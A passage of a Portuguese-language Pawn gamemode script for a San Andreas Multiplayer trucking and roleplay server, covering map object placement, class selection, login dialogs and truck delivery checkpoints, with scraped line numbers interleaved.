    CreateDynamicObject(970,-2402.3999023,-18.2000008,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (78)
1072
    CreateDynamicObject(970,-2406.6000977,-18.2000008,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (79)
1073
    CreateDynamicObject(970,-2407.6000977,-18.2000008,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (80)
1074
    CreateDynamicObject(970,-2407.6000977,-14.8999996,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (81)
1075
    CreateDynamicObject(970,-2403.3999023,-14.8999996,35.0999985,0.0000000,0.0000000,359.7500000); //object(fencesmallb) (83)
1076
    CreateDynamicObject(970,-2399.1999512,-14.8999996,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (85)
1077
    CreateDynamicObject(970,-2395.0000000,-14.8999996,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (86)
1078
    CreateDynamicObject(970,-2395.0000000,-14.8994141,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (87)
1079
    CreateDynamicObject(970,-2390.8000488,-14.8999996,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (88)
1080
    CreateDynamicObject(970,-2386.6000977,-14.8999996,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (89)
1081
    CreateDynamicObject(970,-2385.6000977,-14.8999996,35.0999985,0.0000000,0.0000000,0.0000000); //object(fencesmallb) (90)
1082
    CreateDynamicObject(1215,-2383.3000488,-14.8999996,35.0999985,0.0000000,0.0000000,0.0000000); //object(bollardlight) (20)
1083
    CreateDynamicObject(1215,-2383.3000488,-18.2000008,35.0999985,0.0000000,0.0000000,0.0000000); //object(bollardlight) (21)
1084
    CreateDynamicObject(1215,-2409.8999023,-18.1000004,35.0999985,0.0000000,0.0000000,0.0000000); //object(bollardlight) (22)
1085
    CreateDynamicObject(1215,-2409.8999023,-15.0000000,35.0999985,0.0000000,0.0000000,0.0000000); //object(bollardlight) (23)
1086
    CreateDynamicObject(1231,-2412.3999023,-0.6000000,35.9000015,0.0000000,0.0000000,0.0000000); //object(streetlamp2) (1)
1087
    CreateDynamicObject(1280,-2412.6000977,-3.8000000,35.0000000,0.0000000,0.0000000,0.0000000); //object(parkbench1) (16)
1088
    CreateDynamicObject(1280,-2412.6000977,-8.0000000,35.0000000,0.0000000,0.0000000,0.0000000); //object(parkbench1) (17)
1089
    CreateDynamicObject(1280,-2412.6000977,-12.0000000,35.0000000,0.0000000,0.0000000,0.0000000); //object(parkbench1) (18)
1090
    CreateDynamicObject(1280,-2412.5000000,-20.8999996,35.0000000,0.0000000,0.0000000,0.0000000); //object(parkbench1) (19)
1091
    CreateDynamicObject(1280,-2412.5000000,-25.2999992,35.0000000,0.0000000,0.0000000,0.0000000); //object(parkbench1) (20)
1092
    CreateDynamicObject(1280,-2380.6000977,-30.6000004,35.0000000,0.0000000,0.0000000,180.0000000); //object(parkbench1) (21)
1093
    CreateDynamicObject(1231,-2412.6000977,-16.7999992,35.9000015,0.0000000,0.0000000,0.0000000); //object(streetlamp2) (2)
1094
    CreateDynamicObject(1231,-2412.6000977,-33.7000008,35.9000015,0.0000000,0.0000000,180.0000000); //object(streetlamp2) (3)
1095
    CreateDynamicObject(1280,-2412.5000000,-29.5996094,35.0000000,0.0000000,0.0000000,0.0000000); //object(parkbench1) (22)
1096
    CreateDynamicObject(1280,-2380.6000977,-26.2999992,35.0000000,0.0000000,0.0000000,179.9945068); //object(parkbench1) (23)
1097
    CreateDynamicObject(1280,-2380.6000977,-22.1000004,35.0000000,0.0000000,0.0000000,179.9945068); //object(parkbench1) (24)
1098
    CreateDynamicObject(1280,-2380.6999512,-4.5000000,35.0000000,0.0000000,0.0000000,179.9945068); //object(parkbench1) (25)
1099
    CreateDynamicObject(1280,-2380.6999512,-8.3999996,35.0000000,0.0000000,0.0000000,179.9945068); //object(parkbench1) (26)
1100
    CreateDynamicObject(1280,-2380.6999512,-12.1000004,35.0000000,0.0000000,0.0000000,179.9945068); //object(parkbench1) (27)
1101
    CreateDynamicObject(1231,-2380.6000977,-16.7999992,35.9000015,0.0000000,0.0000000,0.0000000); //object(streetlamp2) (4)
1102
    CreateDynamicObject(1231,-2380.6000977,-33.5999985,35.9000015,0.0000000,0.0000000,0.0000000); //object(streetlamp2) (5)
1103
    CreateDynamicObject(1231,-2380.5000000,0.0000000,35.9000015,0.0000000,0.0000000,0.0000000); //object(streetlamp2) (6)
1104
    CreateDynamicObject(1229,-2416.1000977,-19.2999992,36.0999985,0.0000000,0.0000000,0.0000000); //object(bussign1) (22)
1105
    CreateDynamicObject(1229,-2416.0000000,-1.7000000,36.0999985,0.0000000,0.0000000,0.0000000); //object(bussign1) (27)
1106
    CreateDynamicObject(1229,-2377.1999512,-32.7000008,36.0999985,0.0000000,0.0000000,180.0000000); //object(bussign1) (28)
1107
    CreateDynamicObject(1229,-2377.0000000,-13.8000002,36.0999985,0.0000000,0.0000000,179.9945068); //object(bussign1) (29)
1108
    CreateDynamicObject(705,-2402.8000488,-5.4000001,34.2999992,0.0000000,0.0000000,128.1872559); //object(sm_veg_tree7vbig) (1)
1109
    CreateDynamicObject(705,-2390.8000488,-45.0999985,34.2999992,0.0000000,0.0000000,158.1829834); //object(sm_veg_tree7vbig) (2)
1110
    CreateDynamicObject(672,-2401.8999023,25.7000008,34.2000008,0.0000000,0.0000000,70.0000000); //object(sm_veg_tree5) (1)
1111
    CreateDynamicObject(672,-2402.3000488,-33.2000008,34.2999992,0.0000000,0.0000000,49.9993896); //object(sm_veg_tree5) (2)
1112
    CreateDynamicObject(672,-2386.3999023,-113.1999969,34.2999992,0.0000000,0.0000000,49.9987793); //object(sm_veg_tree5) (3)
1113
    CreateDynamicObject(673,-2390.8000488,8.1000004,34.2999992,0.0000000,0.0000000,277.4981689); //object(sm_bevhiltree) (5)
1114
    CreateDynamicObject(673,-2389.0000000,-27.0000000,34.2999992,0.0000000,0.0000000,277.4981689); //object(sm_bevhiltree) (6)
1115
    CreateDynamicObject(673,-2404.3999023,-51.2000008,34.2999992,0.0000000,0.0000000,277.4981689); //object(sm_bevhiltree) (7)
1116
    CreateDynamicObject(3566,-2050.1999512,-2478.5000000,27.2999992,0.0000000,0.0000000,231.2499390); //object(lasntrk1) (41)
1117
    CreateDynamicObject(3566,-2058.5000000,-2488.8000488,27.2999992,0.0000000,0.0000000,231.7487183); //object(lasntrk1) (41)
1118
    CreateDynamicObject(1368,-2047.3000488,-2480.3999023,30.5000000,0.0000000,0.0000000,320.0000000); //object(cj_blocker_bench) (1)
1119
    CreateDynamicObject(1368,-2052.6999512,-2476.0000000,30.5000000,0.0000000,0.0000000,319.9987793); //object(cj_blocker_bench) (2)
1120
    CreateDynamicObject(1368,-2056.3000488,-2491.3999023,30.5000000,0.0000000,0.0000000,140.9987793); //object(cj_blocker_bench) (3)
1121
    CreateDynamicObject(1368,-2061.6000977,-2487.1000977,30.5000000,0.0000000,0.0000000,140.9987793); //object(cj_blocker_bench) (4)
1122
    CreateDynamicObject(1229,-2052.3000488,-2491.8999023,31.2999992,0.0000000,0.0000000,230.0000000); //object(bussign1) (30)
1123
    CreateDynamicObject(1229,-2056.0000000,-2475.5996094,31.2999992,0.0000000,0.0000000,49.9987793); //object(bussign1) (32)
1124
    CreateDynamicObject(1568,-2052.3999023,-2494.5000000,29.7999992,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (8)
1125
    CreateDynamicObject(1568,-2043.9000244,-2483.1999512,29.7999992,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (9)
1126
    CreateDynamicObject(1568,-2056.6000977,-2473.0000000,29.7999992,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (10)
1127
    CreateDynamicObject(1568,-2065.1999512,-2484.1000977,29.7999992,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (11)
1128
    CreateDynamicObject(3566,407.2999878,-1779.0000000,2.2000000,0.0000000,0.0000000,270.0000000); //object(lasntrk1) (41)
1129
    CreateDynamicObject(3566,424.8999939,-1779.0000000,2.2000000,0.0000000,0.0000000,270.2500000); //object(lasntrk1) (41)
1130
    CreateDynamicObject(1238,361.7000122,-1772.5000000,4.5999999,0.0000000,0.0000000,0.0000000); //object(trafficcone) (1)
1131
    CreateDynamicObject(1238,378.2999878,-1772.5999756,4.6999998,0.0000000,0.0000000,0.0000000); //object(trafficcone) (2)
1132
    CreateDynamicObject(1256,404.7999878,-1779.5000000,5.3000002,0.0000000,0.0000000,270.0000000); //object(stonebench1) (62)
1133
    CreateDynamicObject(1256,409.0000000,-1779.5000000,5.3000002,0.0000000,0.0000000,270.0000000); //object(stonebench1) (63)
1134
    CreateDynamicObject(1256,413.0000000,-1779.5000000,5.3000002,0.0000000,0.0000000,270.0000000); //object(stonebench1) (64)
1135
    CreateDynamicObject(1256,400.7999878,-1779.5000000,5.3000002,0.0000000,0.0000000,270.0000000); //object(stonebench1) (65)
1136
    CreateDynamicObject(1256,418.7999878,-1779.5000000,5.3000002,0.0000000,0.0000000,270.0000000); //object(stonebench1) (66)
1137
    CreateDynamicObject(1256,423.1000061,-1779.5000000,5.3000002,0.0000000,0.0000000,270.0000000); //object(stonebench1) (67)
1138
    CreateDynamicObject(1256,427.2000122,-1779.5000000,5.3000002,0.0000000,0.0000000,270.0000000); //object(stonebench1) (68)
1139
    CreateDynamicObject(1256,430.8999939,-1779.5000000,5.3000002,0.0000000,0.0000000,270.0000000); //object(stonebench1) (69)
1140
    CreateDynamicObject(1215,416.0000000,-1779.1999512,5.1999998,0.0000000,0.0000000,0.0000000); //object(bollardlight) (24)
1141
    CreateDynamicObject(1215,433.3999939,-1779.1999512,5.1999998,0.0000000,0.0000000,0.0000000); //object(bollardlight) (25)
1142
    CreateDynamicObject(1215,398.7000122,-1779.0999756,5.1999998,0.0000000,0.0000000,0.0000000); //object(bollardlight) (26)
1143
    CreateDynamicObject(1229,411.7999878,-1777.5999756,6.1999998,0.0000000,0.0000000,270.0000000); //object(bussign1) (33)
1144
    CreateDynamicObject(1229,431.6000061,-1777.5999756,6.1999998,0.0000000,0.0000000,270.0000000); //object(bussign1) (34)
1145
    CreateDynamicObject(1257,478.5000000,-1499.0999756,20.7999992,0.0000000,0.0000000,174.0000000); //object(bustopm) (5)
1146
    CreateDynamicObject(1257,491.7000122,-1499.0000000,20.7000008,0.0000000,0.0000000,357.4949951); //object(bustopm) (6)
1147
    CreateDynamicObject(638,492.2000122,-1496.1999512,20.1000004,0.0000000,0.0000000,86.0000000); //object(kb_planter_bush) (1)
1148
    CreateDynamicObject(638,491.8999939,-1501.9000244,20.2000008,0.0000000,0.0000000,265.9954834); //object(kb_planter_bush) (2)
1149
    CreateDynamicObject(638,477.8999939,-1501.9000244,20.1000004,0.0000000,0.0000000,265.9954834); //object(kb_planter_bush) (3)
1150
    CreateDynamicObject(638,478.3999939,-1496.3000488,20.1000004,0.0000000,0.0000000,85.9954834); //object(kb_planter_bush) (4)
1151
    CreateDynamicObject(1257,722.5999756,-1211.5999756,18.7000008,0.7500000,0.0000000,314.0000000); //object(bustopm) (7)
1152
    CreateDynamicObject(1257,712.2998047,-1201.1992188,18.7999992,356.2481689,0.0000000,145.9973145); //object(bustopm) (8)
1153
    CreateDynamicObject(3566,2169.6000977,-999.2000122,59.7000008,0.0000000,0.0000000,80.2500000); //object(lasntrk1) (64)
1154
    CreateDynamicObject(1229,2162.8999023,-999.4000244,63.7000008,0.0000000,0.0000000,80.0000000); //object(bussign1) (35)
1155
    CreateDynamicObject(1256,2174.5000000,-999.9000244,62.7999992,0.0000000,0.0000000,80.0000000); //object(stonebench1) (70)
1156
    CreateDynamicObject(1256,2169.5000000,-999.0999756,62.7999992,0.0000000,0.0000000,79.9969482); //object(stonebench1) (71)
1157
    CreateDynamicObject(1256,2164.3000488,-998.2000122,62.7999992,0.0000000,0.0000000,79.9969482); //object(stonebench1) (72)
1158
    CreateDynamicObject(1257,2191.8000488,-1018.2000122,62.5000000,0.0000000,0.0000000,256.0000000); //object(bustopm) (9)
1159
    CreateDynamicObject(1257,2120.6000977,-1443.0000000,24.2999992,0.0000000,0.0000000,0.5000000); //object(bustopm) (11)
1160
    CreateDynamicObject(1257,2124.6999512,-1405.6999512,24.2999992,0.0000000,0.0000000,180.4998779); //object(bustopm) (12)
1161
    CreateDynamicObject(1257,2124.7998047,-1443.0000000,24.2999992,0.0000000,0.0000000,180.4998779); //object(bustopm) (14)
1162
    CreateDynamicObject(1257,2120.5000000,-1405.5999756,24.2999992,0.0000000,0.0000000,0.4998779); //object(bustopm) (15)
1163
    CreateDynamicObject(3566,1300.5000000,-2050.1999512,55.2999992,0.0000000,0.0000000,269.5000000); //object(lasntrk1) (66)
1164
    CreateDynamicObject(3566,1300.5000000,-2046.9000244,55.2999992,0.0000000,0.0000000,269.4946289); //object(lasntrk1) (67)
1165
    CreateDynamicObject(3566,1300.3000488,-2063.3000488,55.2999992,0.0000000,0.0000000,269.4946289); //object(lasntrk1) (68)
1166
    CreateDynamicObject(3566,1300.3000488,-2066.6000977,55.2999992,0.0000000,0.0000000,269.4946289); //object(lasntrk1) (69)
1167
    CreateDynamicObject(1256,1295.5000000,-2048.0000000,58.4000015,0.0000000,0.0000000,89.5000000); //object(stonebench1) (73)
1168
    CreateDynamicObject(1256,1300.5000000,-2048.1000977,58.4000015,0.0000000,0.0000000,89.4946289); //object(stonebench1) (74)
1169
    CreateDynamicObject(1256,1306.0999756,-2048.1999512,58.4000015,0.0000000,0.0000000,89.4946289); //object(stonebench1) (75)
1170
    CreateDynamicObject(1256,1295.5000000,-2065.6999512,58.4000015,0.0000000,0.0000000,269.4946289); //object(stonebench1) (76)
1171
    CreateDynamicObject(1256,1300.5999756,-2065.6999512,58.4000015,0.0000000,0.0000000,269.4946289); //object(stonebench1) (77)
1172
    CreateDynamicObject(1256,1306.0000000,-2065.8000488,58.4000015,0.0000000,0.0000000,269.4946289); //object(stonebench1) (78)
1173
    CreateDynamicObject(1232,1304.1999512,-2048.1000977,59.0000000,0.0000000,0.0000000,0.0000000); //object(streetlamp1) (1)
1174
    CreateDynamicObject(1232,1297.0999756,-2048.1000977,59.0000000,0.0000000,0.0000000,0.0000000); //object(streetlamp1) (2)
1175
    CreateDynamicObject(1232,1304.1999512,-2065.8000488,59.0000000,0.0000000,0.0000000,0.0000000); //object(streetlamp1) (3)
1176
    CreateDynamicObject(1232,1297.0999756,-2065.6999512,59.0999985,0.0000000,0.0000000,0.0000000); //object(streetlamp1) (4)
1177
    CreateDynamicObject(3526,1309.5999756,-2052.1000977,57.0999985,0.0000000,0.0000000,179.0000000); //object(vegasairportlight) (2)
1178
    CreateDynamicObject(14387,1310.6999512,-2049.3999023,56.7999992,0.0000000,0.0000000,0.0000000); //object(dr_gsnew02) (1)
1179
    CreateDynamicObject(14387,1310.6999512,-2047.6999512,56.7999992,0.0000000,0.0000000,0.0000000); //object(dr_gsnew02) (2)
1180
    CreateDynamicObject(14387,1310.5000000,-2064.1999512,56.7999992,0.0000000,0.0000000,0.0000000); //object(dr_gsnew02) (3)
1181
    CreateDynamicObject(14387,1310.5000000,-2066.0000000,56.7999992,0.0000000,0.0000000,0.0000000); //object(dr_gsnew02) (4)
1182
    CreateDynamicObject(1229,1305.1999512,-2062.1000977,59.2999992,0.0000000,0.0000000,270.0000000); //object(bussign1) (36)
1183
    CreateDynamicObject(1229,1295.4000244,-2051.3999023,59.2999992,0.0000000,0.0000000,90.0000000); //object(bussign1) (37)
1184
    CreateDynamicObject(1215,-2361.6000977,2485.3999023,4.9000001,0.0000000,0.0000000,0.0000000); //object(bollardlight) (27)
1185
    CreateDynamicObject(1215,-2362.6000977,2487.1999512,4.9000001,0.0000000,0.0000000,0.0000000); //object(bollardlight) (28)
1186
    CreateDynamicObject(1215,-2360.0000000,2470.6999512,4.9000001,0.0000000,0.0000000,0.0000000); //object(bollardlight) (29)
1187
    CreateDynamicObject(1215,-2381.0000000,2476.5000000,7.5999999,0.0000000,0.0000000,0.0000000); //object(bollardlight) (30)
1188
    CreateDynamicObject(1238,-2283.1000977,2411.5000000,4.4000001,0.0000000,0.0000000,0.0000000); //object(trafficcone) (3)
1189
    CreateDynamicObject(1238,-2286.3999023,2414.8000488,4.5000000,0.0000000,0.0000000,0.0000000); //object(trafficcone) (4)
1190
    CreateDynamicObject(1238,-2284.8999023,2413.3000488,4.5000000,0.0000000,0.0000000,0.0000000); //object(trafficcone) (5)
1191
    CreateDynamicObject(1238,-2281.8000488,2410.1000977,4.4000001,0.0000000,0.0000000,0.0000000); //object(trafficcone) (6)
1192
    CreateDynamicObject(1238,-2279.3999023,2407.1000977,4.4000001,0.0000000,0.0000000,0.0000000); //object(trafficcone) (7)
1193
    CreateDynamicObject(1238,-2280.5000000,2408.6000977,4.4000001,0.0000000,0.0000000,0.0000000); //object(trafficcone) (8)
1194
1195
	return 1;
1196
}
1197
1198
public OnGameModeExit()
1199
{
1200
    DOF2_Exit();
1201
	return 1;
1202
}
1203
1204
public OnPlayerRequestClass(playerid, classid)
1205
{
1206
	if(PlayerInfo[playerid][pLogado] == false)
1207
	{
1208
         SetPlayerPos(playerid, 00.00, 00.00, 00.00);
1209
         SetPlayerFacingAngle(playerid, 00.00);
1210
	     SetPlayerCameraPos(playerid, 2135.644775, 1139.208740, 13.504461);
1211
         SetPlayerCameraLookAt(playerid, 2142.753662, 1135.539672, 13.504461);
1212
	}
1213
	else
1214
	{
1215
		 switch(classid)
1216
		 {
1217
			case 0,1,2:
1218
			{
1219
			     GameTextForPlayer(playerid,"~w~Caminhoneiro", 3000, 5);
1220
                 PlayerInfo[playerid][pClass] = TEAM_TRUCK;
1221
			     SetPlayerPos(playerid, -51.965488, -1127.493896, 10.191931);
1222
			     SetPlayerCameraPos(playerid, -49.997154, -1122.897583, 10.191931);
1223
			     SetPlayerCameraLookAt(playerid, -51.965488, -1127.493896, 10.191931);
1224
			     SetPlayerFacingAngle(playerid, 336.817138);
1225
			}
1226
			case 3,4,5:
1227
			{
1228
1229
			     GameTextForPlayer(playerid,"~w~Motorista de onibus", 3000, 5);
1230
			     PlayerInfo[playerid][pClass] = TEAM_BUS;
1231
			     SetPlayerPos(playerid, 1811.349121, -1910.744628, 17.224010);
1232
			     SetPlayerCameraPos(playerid, 1816.342895, -1910.995239, 17.224010);
1233
			     SetPlayerCameraLookAt(playerid, 1811.349121, -1910.744628, 17.224010);
1234
			     SetPlayerFacingAngle(playerid, 267.127502);
1235
			}
1236
			case 6,7,8:
1237
			{
1238
			     GameTextForPlayer(playerid,"~w~Policia Militar", 3000, 5);
1239
                 PlayerInfo[playerid][pClass] = TEAM_COP;
1240
                 SetPlayerPos(playerid, 1504.770751, -1666.737060, 19.242187);
1241
                 SetPlayerCameraPos(playerid, 1499.775512, -1666.519165, 19.242187);
1242
                 SetPlayerCameraLookAt(playerid, 1504.770751, -1666.737060, 19.242187);
1243
                 SetPlayerFacingAngle(playerid, 87.502090);
1244
			}
1245
			case 9,10,11:
1246
			{
1247
			    GameTextForPlayer(playerid,"~w~Piloto de aviao", 3000, 5);
1248
			    PlayerInfo[playerid][pClass] = TEAM_PILOT;
1249
			    SetPlayerPos(playerid, 1963.805908, -2213.014404, 16.125000);
1250
			    SetPlayerCameraPos(playerid, 1964.022949, -2205.017333, 16.125000);
1251
			    SetPlayerCameraLookAt(playerid, 1963.805908, -2213.014404, 16.125000);
1252
			    SetPlayerFacingAngle(playerid, 358.445556);
1253
		    }
1254
		 }
1255
	}
1256
	return 1;
1257
}
1258
1259
public OnPlayerConnect(playerid)
1260
{
1261
	PlayerInfo[playerid][Spawn] = false;
1262
	PlayerInfo[playerid][NoVel] = false;
1263
    SetPlayerPos(playerid, 00.00, 00.00, 00.00);
1264
    SetPlayerCameraPos(playerid, 2135.644775, 1139.208740, 13.504461);
1265
    SetPlayerCameraLookAt(playerid, 2142.753662, 1135.539672, 13.504461);
1266
    
1267
    TextDrawServidor(playerid);
1268
1269
	PlayerInfo[playerid][pLogado] = false;
1270
	GetPlayerName(playerid, DName, sizeof(DName));
1271
    format(Donarquivo, sizeof(Donarquivo),  LOCALSALVO, DName);
1272
    if(DOF2_FileExists(Donarquivo))
1273
    {
1274
		format(Don,sizeof(Don),"{FFFFFF}\r\r\r\rOlá Sr. {00FF00}%s{FFFFFF}\n\n\rDigite sua senha para efetuar o login.", DName);
1275
        ShowPlayerDialog(playerid, DIALOG_LOGIN, DIALOG_STYLE_PASSWORD, "Logar", Don, "Logar", "Cancelar");
1276
    }
1277
    else
1278
    {
1279
        format(Don,sizeof(Don),"{FFFFFF}\r\r\r\rOlá Sr. {00FF00}%s{FFFFFF}\n\n\rDigite sua senha para efetuar o registro.", DName);
1280
        ShowPlayerDialog(playerid, DIALOG_REGISTRO, DIALOG_STYLE_PASSWORD, "Registro", Don, "Registrar", "Cancelar");
1281
    }
1282
    
1283
    
1284
    //    >>> Spawn 3 caminhoneiro <<<
1285
    RemoveBuildingForPlayer(playerid, 17350, -54.9922, -1130.7266, 4.5781, 0.25);
1286
    RemoveBuildingForPlayer(playerid, 1447, -89.9297, -1133.7500, 1.3906, 0.25);
1287
    RemoveBuildingForPlayer(playerid, 1438, -87.0547, -1132.6797, 0.0469, 0.25);
1288
    RemoveBuildingForPlayer(playerid, 1462, -79.2500, -1137.7188, 0.0547, 0.25);
1289
    RemoveBuildingForPlayer(playerid, 3285, -73.8047, -1141.4219, 1.9844, 0.25);
1290
    RemoveBuildingForPlayer(playerid, 17072, -54.9922, -1130.7266, 4.5781, 0.25);
1291
    RemoveBuildingForPlayer(playerid, 17073, -56.1250, -1130.1719, 4.4922, 0.25);
1292
    RemoveBuildingForPlayer(playerid, 1462, -84.3750, -1116.0938, 0.2578, 0.25);
1293
    RemoveBuildingForPlayer(playerid, 1447, -84.0547, -1117.2188, 1.3906, 0.25);
1294
    RemoveBuildingForPlayer(playerid, 1415, -68.3516, -1104.9922, 0.2188, 0.25);
1295
    RemoveBuildingForPlayer(playerid, 1462, -60.3594, -1116.9375, 0.2578, 0.25);
1296
    RemoveBuildingForPlayer(playerid, 1438, -63.6719, -1125.6953, 0.0469, 0.25);
1297
    RemoveBuildingForPlayer(playerid, 1438, -63.4141, -1115.4141, 0.0469, 0.25);
1298
    RemoveBuildingForPlayer(playerid, 1415, -63.8125, -1106.4219, 0.2188, 0.25);
1299
	return 1;
1300
}
1301
1302
public OnPlayerDisconnect(playerid, reason)
1303
{
1304
	if(PlayerInfo[playerid][Trab] > 0)return PlayerInfo[playerid][pGrana] -= 1000;
1305
    SalvarConta(playerid);
1306
    if(VipInfo[playerid][vLevel] > 0)
1307
    {
1308
        SalvarVip(playerid);
1309
        Vips--;
1310
	}
1311
	if(PlayerInfo[playerid][pLogado] == true)return JogadoresOn--;
1312
	
1313
	PlayerInfo[playerid][pGrana] = 0;
1314
	PlayerInfo[playerid][pScore] = 0;
1315
	PlayerInfo[playerid][pMulta] = 0;
1316
	PlayerInfo[playerid][pAdmin] = 0;
1317
	PlayerInfo[playerid][pLogou] = 0;
1318
	PlayerInfo[playerid][pClass] = 0;
1319
	PlayerInfo[playerid][pLogado] = false;
1320
	PlayerInfo[playerid][pClass] = false;
1321
	
1322
	KillTimer(PlayerInfo[playerid][TVel]);
1323
	
1324
	TextDrawHideForPlayer(playerid, PlayerText[playerid][Local]);
1325
	TextDrawHideForPlayer(playerid, PlayerText[playerid][Barrinha]);
1326
	TextDrawHideForPlayer(playerid, PlayerText[playerid][Barrinha2]);
1327
	TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo0]);
1328
	TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo1]);
1329
	TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo2]);
1330
	TextDrawHideForPlayer(playerid, PlayerText[playerid][Logo3]);
1331
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf]);
1332
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf2]);
1333
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf3]);
1334
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf4]);
1335
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf5]);
1336
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf6]);
1337
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf7]);
1338
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf8]);
1339
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf9]);
1340
	TextDrawHideForPlayer(playerid, PlayerText[playerid][BInf10]);
1341
	return 1;
1342
}
1343
1344
public OnPlayerSpawn(playerid)
1345
{
1346
    TextDrawShowForPlayer(playerid, PlayerText[playerid][Barrinha2]);
1347
	switch(PlayerInfo[playerid][pClass])
1348
	{
1349
		  case TEAM_TRUCK:
1350
		  {
1351
		       new rand = random(sizeof(STruck));
1352
		       SetPlayerPos(playerid, STruck[rand][0], STruck[rand][1], STruck[rand][2]);
1353
		       format(Don,sizeof(Don),"Nenhum trabalho no momento '/trabalhar' para trabalhar");
1354
		  }
1355
	}
1356
	TextDrawSetString(PlayerText[playerid][Barrinha],Don);
1357
	TextDrawShowForPlayer(playerid, PlayerText[playerid][Barrinha]);
1358
	SetPlayerColor(playerid, CorClasses[PlayerInfo[playerid][pClass]]);
1359
	if(PlayerInfo[playerid][Regras] == false)
1360
	{
1361
	    new Msg[] = "* Jamais usar hack [BAN - 30 Dias]\n* Não faça DB [BAN - 5 Dias]\n* Não ofender ninguem [BAN - 2 Dias]\n* Não falar mal do servidor [BAN - 1 Dia]\n* Não divulgar servidore [BAN PERMANENTE]";
1362
        ShowPlayerDialog(playerid, DIALOG_RULES, DIALOG_STYLE_MSGBOX, "Regras", Msg, "OK", "");
1363
	}
1364
	return 1;
1365
}
1366
1367
public OnPlayerDeath(playerid, killerid, reason)
1368
{
1369
	return 1;
1370
}
1371
1372
public OnVehicleSpawn(vehicleid)
1373
{
1374
	return 1;
1375
}
1376
1377
public OnVehicleDeath(vehicleid, killerid)
1378
{
1379
	return 1;
1380
}
1381
1382
public OnPlayerText(playerid, text[])
1383
{
1384
	return 1;
1385
}
1386
1387
public OnPlayerEnterVehicle(playerid, vehicleid, ispassenger)
1388
{
1389
	return 1;
1390
}
1391
1392
public OnPlayerExitVehicle(playerid, vehicleid)
1393
{
1394
	return 1;
1395
}
1396
1397
public OnPlayerStateChange(playerid, newstate, oldstate)
1398
{
1399
    if(newstate == PLAYER_STATE_DRIVER)
1400
    {
1401
        for(new c = 0; c <= 59; c++)
1402
        {
1403
            if(IsPlayerInVehicle(playerid, VTruck[c]) && PlayerInfo[playerid][pClass] != TEAM_TRUCK)
1404
            {
1405
               RemovePlayerFromVehicle(playerid);
1406
			}
1407
		}
1408
		PlayerInfo[playerid][TVel] = SetTimerEx("AtualizarVelocimetro", 100, true, "n", playerid);
1409
		PlayerInfo[playerid][NoVel] = true;
1410
	}
1411
	else
1412
	{
1413
		KillTimer(PlayerInfo[playerid][TVel]);
1414
		PlayerInfo[playerid][NoVel] = false;
1415
	}
1416
	return 1;
1417
}
1418
1419
public OnPlayerEnterCheckpoint(playerid)
1420
{
1421
	if(PlayerInfo[playerid][Trab] == 2)
1422
	{
1423
		   switch(PlayerInfo[playerid][pClass])
1424
		   {
1425
			   case TEAM_TRUCK:
1426
			   {
1427
					if(!IsTrailerAttachedToVehicle(GetPlayerVehicleID(playerid)))return SendClientMessage(playerid, -1,"[Erro] Cade seu baú?");
1428
                    TextDrawShowForPlayer(playerid, PlayerText[playerid][Car1]);
1429
                    TextDrawSetString(PlayerText[playerid][Car2], "Carregando...");
1430
                    TextDrawShowForPlayer(playerid, PlayerText[playerid][Car2]);
1431
                    TextDrawSetString(PlayerText[playerid][Car3], "Aguarde alguns segundos");
1432
                    TextDrawShowForPlayer(playerid, PlayerText[playerid][Car3]);
1433
                    
1434
                    DisablePlayerCheckpoint(playerid);// COLOCA AQUI
1435
                    SetTimerEx("Descongelar", 1000*3, false, "i", playerid);
1436
                    TogglePlayerControllable(playerid, false);
1437
                    PlayerInfo[playerid][Trab] ++;
1438
                    SetPlayerCheckpoint(playerid, PlayerInfo[playerid][EntregaX],PlayerInfo[playerid][EntregaY],PlayerInfo[playerid][EntregaZ], 10.0);
1439
			   }
1440
		   }
1441
	}
1442
	else if(PlayerInfo[playerid][Trab] == 3)
1443
	{
1444
	       switch(PlayerInfo[playerid][pClass])
1445
		   {
1446
			   case TEAM_TRUCK:
1447
			   {
1448
                    if(!IsTrailerAttachedToVehicle(GetPlayerVehicleID(playerid)))return SendClientMessage(playerid, -1,"[Erro] Cade seu baú?");
1449
                    TextDrawShowForPlayer(playerid, PlayerText[playerid][Car1]);
1450
                    TextDrawSetString(PlayerText[playerid][Car2], "Descarregando...");
1451
                    TextDrawShowForPlayer(playerid, PlayerText[playerid][Car2]);
1452
                    TextDrawSetString(PlayerText[playerid][Car3], "Aguarde alguns segundos");
1453
                    TextDrawShowForPlayer(playerid, PlayerText[playerid][Car3]);
1454
                    DisablePlayerCheckpoint(playerid);// COLOCA AQUI
1455
                    TogglePlayerControllable(playerid, false);
1456
                    SetTimerEx("Descongelar", 1000*3, false, "i", playerid);
1457
                    PlayerInfo[playerid][Trab] = 0;
1458
                    PlayerInfo[playerid][pGrana] += 1000;
1459
	                PlayerInfo[playerid][pScore] ++;
1460
	                format(Don, sizeof Don,"~w~R$ +1000~n~+1 Score");
1461
	                GameTextForPlayer(playerid, Don, 3000, 4);
1462
			   }
1463
		   }
1464
	}
1465
	return 1;
1466
}
1467
forward Descongelar(playerid);
1468
public Descongelar(playerid)
1469
{
1470
